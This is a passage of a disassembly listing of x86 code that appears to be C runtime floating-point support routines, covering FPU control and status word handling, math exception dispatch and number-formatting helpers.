or dword ptr [eax+4], 8
loc_4219B6: ; CODE XREF: sub_42194C+5Aj
test cl, 8
jz short loc_4219C9
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_4219C9: ; CODE XREF: sub_42194C+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_42206C
test al, bl
jz short loc_421A52
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_421A52: ; CODE XREF: sub_42194C+FDj
test al, 4
jz short loc_421A5D
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_421A5D: ; CODE XREF: sub_42194C+108j
test al, 8
jz short loc_421A68
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_421A68: ; CODE XREF: sub_42194C+113j
test al, 10h
jz short loc_421A72
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_421A72: ; CODE XREF: sub_42194C+11Ej
test al, 20h
jz short loc_421A7C
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_421A7C: ; CODE XREF: sub_42194C+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_421ABB
cmp eax, 400h
jz short loc_421AAD
cmp eax, 800h
jz short loc_421AA1
cmp eax, ecx
jnz short loc_421AC1
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_421AC1
; ---------------------------------------------------------------------------
loc_421AA1: ; CODE XREF: sub_42194C+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_421AB7
; ---------------------------------------------------------------------------
loc_421AAD: ; CODE XREF: sub_42194C+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_421AB7: ; CODE XREF: sub_42194C+15Fj
mov [eax], ecx
jmp short loc_421AC1
; ---------------------------------------------------------------------------
loc_421ABB: ; CODE XREF: sub_42194C+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_421AC1: ; CODE XREF: sub_42194C+14Bj
; sub_42194C+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_421AEC
cmp eax, 200h
jz short loc_421ADF
cmp eax, ecx
jnz short loc_421AF9
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_421AF9
; ---------------------------------------------------------------------------
loc_421ADF: ; CODE XREF: sub_42194C+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_421AF7
; ---------------------------------------------------------------------------
loc_421AEC: ; CODE XREF: sub_42194C+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_421AF7: ; CODE XREF: sub_42194C+19Ej
mov [eax], ecx
loc_421AF9: ; CODE XREF: sub_42194C+189j
; sub_42194C+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_42207A
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call near ptr 26604F6h
nop
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_421B73
and dword ptr [esi], 0FFFFFFFEh
loc_421B73: ; CODE XREF: sub_42194C+222j
test byte ptr [eax+8], 8
jz short loc_421B7C
and dword ptr [esi], 0FFFFFFFBh
loc_421B7C: ; CODE XREF: sub_42194C+22Bj
test byte ptr [eax+8], 4
jz short loc_421B85
and dword ptr [esi], 0FFFFFFF7h
loc_421B85: ; CODE XREF: sub_42194C+234j
test byte ptr [eax+8], 2
jz short loc_421B8E
and dword ptr [esi], 0FFFFFFEFh
loc_421B8E: ; CODE XREF: sub_42194C+23Dj
test [eax+8], bl
jz short loc_421B96
and dword ptr [esi], 0FFFFFFDFh
loc_421B96: ; CODE XREF: sub_42194C+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_421BCA
dec ecx
jz short loc_421BBE
dec ecx
jz short loc_421BB4
dec ecx
jnz short loc_421BCC
or byte ptr [esi+1], 0Ch
jmp short loc_421BCC
; ---------------------------------------------------------------------------
loc_421BB4: ; CODE XREF: sub_42194C+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_421BC6
; ---------------------------------------------------------------------------
loc_421BBE: ; CODE XREF: sub_42194C+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_421BC6: ; CODE XREF: sub_42194C+270j
mov [esi], ecx
jmp short loc_421BCC
; ---------------------------------------------------------------------------
loc_421BCA: ; CODE XREF: sub_42194C+257j
and [esi], edx
loc_421BCC: ; CODE XREF: sub_42194C+260j
; sub_42194C+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_421BEC
dec ecx
jz short loc_421BE3
dec ecx
jnz short loc_421BF5
and [esi], edx
jmp short loc_421BF5
; ---------------------------------------------------------------------------
loc_421BE3: ; CODE XREF: sub_42194C+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_421BF3
; ---------------------------------------------------------------------------
loc_421BEC: ; CODE XREF: sub_42194C+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_421BF3: ; CODE XREF: sub_42194C+29Ej
mov [esi], ecx
loc_421BF5: ; CODE XREF: sub_42194C+291j
; sub_42194C+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42194C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421BFF proc near ; CODE XREF: sub_4218B4+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_421C2A
test byte ptr [ebp+arg_8], bl
jz short loc_421C2A
push ebx
call sub_4220AC
pop ecx
and edi, 0FFFFFFF7h
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421C2A: ; CODE XREF: sub_421BFF+15j
; sub_421BFF+1Aj
test al, 4
jz short loc_421C44
test byte ptr [ebp+arg_8], 4
jz short loc_421C44
push 4
call sub_4220AC
pop ecx
and edi, 0FFFFFFFBh
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421C44: ; CODE XREF: sub_421BFF+2Dj
; sub_421BFF+33j
test al, bl
jz loc_421D1E
test byte ptr [ebp+arg_8], 8
jz loc_421D1E
push 8
call sub_4220AC
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_421CF6
cmp ecx, 400h
jz short loc_421CCE
cmp ecx, 800h
jz short loc_421CA6
cmp ecx, eax
jnz loc_421D16
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fld dbl_43D3F0
fnstsw ax
sahf
ja short loc_421C9E
fchs
loc_421C9E: ; CODE XREF: sub_421BFF+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CA6: ; CODE XREF: sub_421BFF+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fnstsw ax
sahf
jbe short loc_421CBE
fld dbl_43D3E0
jmp short loc_421CC6
; ---------------------------------------------------------------------------
loc_421CBE: ; CODE XREF: sub_421BFF+B5j
fld dbl_43D3F0
fchs
loc_421CC6: ; CODE XREF: sub_421BFF+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CCE: ; CODE XREF: sub_421BFF+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fnstsw ax
sahf
jbe short loc_421CE6
fld dbl_43D3F0
jmp short loc_421CEE
; ---------------------------------------------------------------------------
loc_421CE6: ; CODE XREF: sub_421BFF+DDj
fld dbl_43D3E0
fchs
loc_421CEE: ; CODE XREF: sub_421BFF+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CF6: ; CODE XREF: sub_421BFF+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fld dbl_43D3E0
fnstsw ax
sahf
ja short loc_421D0E
fchs
loc_421D0E: ; CODE XREF: sub_421BFF+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_421D14: ; CODE XREF: sub_421BFF+A5j
; sub_421BFF+CDj ...
fstp qword ptr [ecx]
loc_421D16: ; CODE XREF: sub_421BFF+81j
and edi, 0FFFFFFFEh
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421D1E: ; CODE XREF: sub_421BFF+47j
; sub_421BFF+51j
test al, 2
jz loc_421DF4
test byte ptr [ebp+arg_8], 10h
jz loc_421DF4
push esi
xor esi, esi
test al, 10h
jz short loc_421D39
mov esi, ebx
loc_421D39: ; CODE XREF: sub_421BFF+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_427860
fnstsw ax
sahf
jz loc_421DE2
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_421FAB
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_421D84
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_421DD8
; ---------------------------------------------------------------------------
loc_421D84: ; CODE XREF: sub_421BFF+17Aj
fld [ebp+var_C]
fcomp dbl_427860
fnstsw ax
sahf
jnb short loc_421D96
mov edx, ebx
jmp short loc_421D98
; ---------------------------------------------------------------------------
loc_421D96: ; CODE XREF: sub_421BFF+191j
xor edx, edx
loc_421D98: ; CODE XREF: sub_421BFF+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_421DCC
sub eax, ecx
loc_421DAF: ; CODE XREF: sub_421BFF+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_421DBA
test esi, esi
jnz short loc_421DBA
mov esi, ebx
loc_421DBA: ; CODE XREF: sub_421BFF+1B3j
; sub_421BFF+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_421DC6
or byte ptr [ebp+var_C+3], 80h
loc_421DC6: ; CODE XREF: sub_421BFF+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_421DAF
loc_421DCC: ; CODE XREF: sub_421BFF+1ACj
test edx, edx
jz short loc_421DD8
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_421DD8: ; CODE XREF: sub_421BFF+183j
; sub_421BFF+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_421DE4
; ---------------------------------------------------------------------------
loc_421DE2: ; CODE XREF: sub_421BFF+14Ej
mov esi, ebx
loc_421DE4: ; CODE XREF: sub_421BFF+1E1j
test esi, esi
pop esi
jz short loc_421DF1
push 10h
call sub_4220AC
pop ecx
loc_421DF1: ; CODE XREF: sub_421BFF+1E8j
and edi, 0FFFFFFFDh
loc_421DF4: ; CODE XREF: sub_421BFF+26j
; sub_421BFF+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_421E0B
test byte ptr [ebp+arg_8], 20h
jz short loc_421E0B
push 20h
call sub_4220AC
pop ecx
and edi, 0FFFFFFEFh
loc_421E0B: ; CODE XREF: sub_421BFF+1F9j
; sub_421BFF+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_421BFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)
sub_421E16 proc near ; CODE XREF: sub_421861+2Bp
; sub_4218B4+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_421EC4
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_421E81
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_422089
lea eax, [ebp+var_20]
push eax
call sub_42482D
add esp, 0Ch
test eax, eax
jnz short loc_421E7B
push esi
call sub_421E9E
pop ecx
loc_421E7B: ; CODE XREF: sub_421E16+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_421E81: ; CODE XREF: sub_421E16+14j
push 0FFFFh
push [ebp+arg_20]
call sub_422089
push [ebp+arg_0]
call sub_421E9E
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_421E16 endp
; =============== S U B R O U T I N E =======================================
sub_421E9E proc near ; CODE XREF: sub_4218B4+7Dp
; sub_421E16+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_421EB9
jle short locret_421EC3
cmp eax, 3
jg short locret_421EC3
mov dword_4DBDDC, 22h
retn
; ---------------------------------------------------------------------------
loc_421EB9: ; CODE XREF: sub_421E9E+7j
mov dword_4DBDDC, 21h
locret_421EC3: ; CODE XREF: sub_421E9E+9j
; sub_421E9E+Ej
retn
sub_421E9E endp
; =============== S U B R O U T I N E =======================================
sub_421EC4 proc near ; CODE XREF: sub_421E16+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43D308
loc_421ECB: ; CODE XREF: sub_421EC4+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_421EE1
add eax, 8
inc ecx
cmp eax, offset dbl_43D3E0
jl short loc_421ECB
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_421EE1: ; CODE XREF: sub_421EC4+Dj
mov eax, off_43D30C[ecx*8]
retn
sub_421EC4 endp
; =============== S U B R O U T I N E =======================================
sub_421EE9 proc near ; CODE XREF: sub_4218B4+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_421EF5
push 5
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421EF5: ; CODE XREF: sub_421EE9+6j
test al, 8
jz short loc_421EFD
push 1
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421EFD: ; CODE XREF: sub_421EE9+Ej
test al, 4
jz short loc_421F05
push 2
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421F05: ; CODE XREF: sub_421EE9+16j
test al, 1
jz short loc_421F0D
push 3
loc_421F0B: ; CODE XREF: sub_421EE9+Aj
; sub_421EE9+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_421F0D: ; CODE XREF: sub_421EE9+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_421EE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421F16(double)
sub_421F16 proc near ; CODE XREF: sub_41D055:loc_41D0DBp
; sub_41D19B:loc_41D221p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_421F16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421F28(double,int)
sub_421F28 proc near ; CODE XREF: sub_421FAB+82p
; sub_421FAB+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_421F28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F51 proc near ; CODE XREF: sub_41D055+31p
; sub_41D19B+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_421F68
cmp [ebp+arg_0], edx
jnz short loc_421F7A
push 1
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F68: ; CODE XREF: sub_421F51+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_421F7A
cmp [ebp+arg_0], edx
jnz short loc_421F7A
push 2
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F7A: ; CODE XREF: sub_421F51+11j
; sub_421F51+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_421F8D
push 3
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F8D: ; CODE XREF: sub_421F51+36j
cmp cx, 7FF0h
jnz short loc_421FA7
test [ebp+arg_4], 7FFFFh
jnz short loc_421FA2
cmp [ebp+arg_0], edx
jz short loc_421FA7
loc_421FA2: ; CODE XREF: sub_421F51+4Aj
push 4
loc_421FA4: ; CODE XREF: sub_421F51+15j
; sub_421F51+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421FA7: ; CODE XREF: sub_421F51+41j
; sub_421F51+4Fj
xor eax, eax
pop ebp
retn
sub_421F51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421FAB(double,int)
sub_421FAB proc near ; CODE XREF: sub_421BFF+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_427860
push esi
fnstsw ax
sahf
jnz short loc_421FCB
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_422061
; ---------------------------------------------------------------------------
loc_421FCB: ; CODE XREF: sub_421FAB+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_42203A
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_421FE3
cmp dword ptr [ebp+arg_0], ecx
jz short loc_42203A
loc_421FE3: ; CODE XREF: sub_421FAB+31j
fld [ebp+arg_0]
fcomp dbl_427860
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_421FFB
push 1
pop eax
jmp short loc_421FFD
; ---------------------------------------------------------------------------
loc_421FFB: ; CODE XREF: sub_421FAB+49j
xor eax, eax
loc_421FFD: ; CODE XREF: sub_421FAB+4Ej
; sub_421FAB+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_422016
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_422010
or dword ptr [ebp+arg_0+4], 1
loc_422010: ; CODE XREF: sub_421FAB+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_421FFD
; ---------------------------------------------------------------------------
loc_422016: ; CODE XREF: sub_421FAB+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_422024
or byte ptr [ebp+arg_0+7], 80h
loc_422024: ; CODE XREF: sub_421FAB+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421F28
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_422061
; ---------------------------------------------------------------------------
loc_42203A: ; CODE XREF: sub_421FAB+28j
; sub_421FAB+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421F28
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_422061: ; CODE XREF: sub_421FAB+1Bj
; sub_421FAB+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_421FAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42206C proc near ; CODE XREF: sub_42194C+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_42206C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42207A proc near ; CODE XREF: sub_42194C+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_42207A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422089 proc near ; CODE XREF: sub_41D055+13p
; sub_41D055+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_422089 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4220AC proc near ; CODE XREF: sub_421BFF+1Dp
; sub_421BFF+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_4220C3
fld tbyte_43D408
fistp [ebp+arg_0]
wait
loc_4220C3: ; CODE XREF: sub_4220AC+Bj
test cl, 8
jz short loc_4220D8
fstsw ax
fld tbyte_43D408
fstp [ebp+var_8]
wait
fstsw ax
loc_4220D8: ; CODE XREF: sub_4220AC+1Aj
test cl, 10h
jz short loc_4220E7
fld tbyte_43D414
fstp [ebp+var_8]
wait
loc_4220E7: ; CODE XREF: sub_4220AC+2Fj
test cl, 4
jz short loc_4220F5
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_4220F5: ; CODE XREF: sub_4220AC+3Ej
test cl, 20h
jz short locret_422100
fldpi
fstp [ebp+var_8]
wait
locret_422100: ; CODE XREF: sub_4220AC+4Cj
leave
retn
sub_4220AC endp
; =============== S U B R O U T I N E =======================================
sub_422102 proc near ; CODE XREF: sub_41D124+Fp
push 30000h
push 10000h
call sub_424865
pop ecx
pop ecx
retn
sub_422102 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422114 proc near ; CODE XREF: sub_422152:loc_422176j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_427870
fstp [ebp+var_8]
fld dbl_427868
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_4276F8
fnstsw ax
sahf
jbe short loc_42214E
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_42214E: ; CODE XREF: sub_422114+33j
xor eax, eax
leave
retn
sub_422114 endp
; =============== S U B R O U T I N E =======================================
sub_422152 proc near ; CODE XREF: sub_41D124+5p
push offset aKernel32 ; "KERNEL32"
nop
call near ptr 26A0000h
test eax, eax
jz short loc_422176
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
nop
call near ptr 26C0000h
test eax, eax
jz short loc_422176
push 0
call eax ; sub_41D124
retn
; ---------------------------------------------------------------------------
loc_422176: ; CODE XREF: sub_422152+Dj
; sub_422152+1Dj
jmp sub_422114
sub_422152 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42217B proc near ; CODE XREF: sub_41FF3F+3CBp
; DATA XREF: sub_41D13C+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_41DFEC
cmp eax, 65h
pop ecx
jz short loc_4221BB
loc_42218F: ; CODE XREF: sub_42217B+3Ej
inc esi
cmp dword_43D084, 1
jle short loc_4221A8
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4221B7
; ---------------------------------------------------------------------------
loc_4221A8: ; CODE XREF: sub_42217B+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 4
loc_4221B7: ; CODE XREF: sub_42217B+2Bj
test eax, eax
jnz short loc_42218F
loc_4221BB: ; CODE XREF: sub_42217B+12j
mov cl, byte_43D088
mov al, [esi]
mov [esi], cl
inc esi
loc_4221C6: ; CODE XREF: sub_42217B+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_4221C6
pop esi
retn
sub_42217B endp
; =============== S U B R O U T I N E =======================================
sub_4221D5 proc near ; CODE XREF: sub_41FF3F+3E2p
; DATA XREF: sub_41D13C+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_43D088
mov cl, [eax]
test cl, cl
jz short loc_4221F1
loc_4221E5: ; CODE XREF: sub_4221D5+1Aj
cmp cl, dl
jz short loc_4221F1
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_4221E5
loc_4221F1: ; CODE XREF: sub_4221D5+Ej
; sub_4221D5+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_422222
loc_4221F8: ; CODE XREF: sub_4221D5+34j
mov cl, [eax]
test cl, cl
jz short loc_42220B
cmp cl, 65h
jz short loc_42220B
cmp cl, 45h
jz short loc_42220B
inc eax
jmp short loc_4221F8
; ---------------------------------------------------------------------------
loc_42220B: ; CODE XREF: sub_4221D5+27j
; sub_4221D5+2Cj ...
mov ecx, eax
loc_42220D: ; CODE XREF: sub_4221D5+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_42220D
cmp [eax], dl
jnz short loc_422218
dec eax
loc_422218: ; CODE XREF: sub_4221D5+40j
; sub_4221D5+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_422218
locret_422222: ; CODE XREF: sub_4221D5+21j
retn
sub_4221D5 endp
; =============== S U B R O U T I N E =======================================
sub_422223 proc near ; DATA XREF: sub_41D13C+28o
; ___:off_43D430o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_427860
fnstsw ax
sahf
jb short loc_422238
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422238: ; CODE XREF: sub_422223+Fj
xor eax, eax
retn
sub_422223 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42223B proc near ; CODE XREF: sub_420DB0+430p
; DATA XREF: sub_41D13C+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_422264
